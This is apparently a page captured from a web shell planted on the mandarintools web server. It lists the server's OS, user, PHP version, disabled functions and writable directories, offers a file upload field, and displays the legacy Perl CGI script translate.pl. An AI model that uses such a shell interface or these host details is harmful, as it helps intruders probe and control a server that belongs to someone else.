KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/mandarintools/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/mandarintools/cgi-bin/translate.pl
#!/usr/bin/perl

require "cgi-lib.pl";


print "Content-type: text/html\n\n";
print "<HTML>\n<HEAD>\n";
print "<META HTTP-EQUIV=\"REFRESH\" content=\"0;url=";
print "http://www.alphaworks.ibm.com/aw.nsf/html/mt";
print "\">\n</head>\n<Body> </body>\n</html>";
exit;
&ReadParse(*values);

$srctext = $values{'srctext'};

# Clean out old files
$days = int(-C "transfiles/currentday.txt");
open(CDAY, "transfiles/currentday.txt");
$oldday = <CDAY>;
close(CDAY);
if ($days > $oldday) {
    open(CDAY, "> transfiles/currentday.txt");
    print CDAY int($days);
    close(CDAY);
    @files = <transfiles/[0-9]+.txt>;
    foreach $file (@files) {
	if ($file =~ m/\d\d+\.txt$/) {
	    unlink $file;
	}
    }
}

# Write out text to file, and pass URL to IBM server
$filename = int(rand 10000000) + 1;

open(TMP, ">> transfiles/$filename.html") or die "Content-type: text/plain\n\nError!";
print TMP $srctext;
close(TMP);

print "Content-type: text/html; charset=gb2312\n\n";
print "<HTML>\n<HEAD>\n";
print "<META HTTP-EQUIV=\"REFRESH\" content=\"0;url=";
print "http://nativesearch.alphaworks.ibm.com:3106/servlets/qt/http://www.mandarintools.com/cgi-bin/transfiles/$filename.html";
print "\">\n</head>\n<Body> </body>\n</html>";

Anon7 - 2021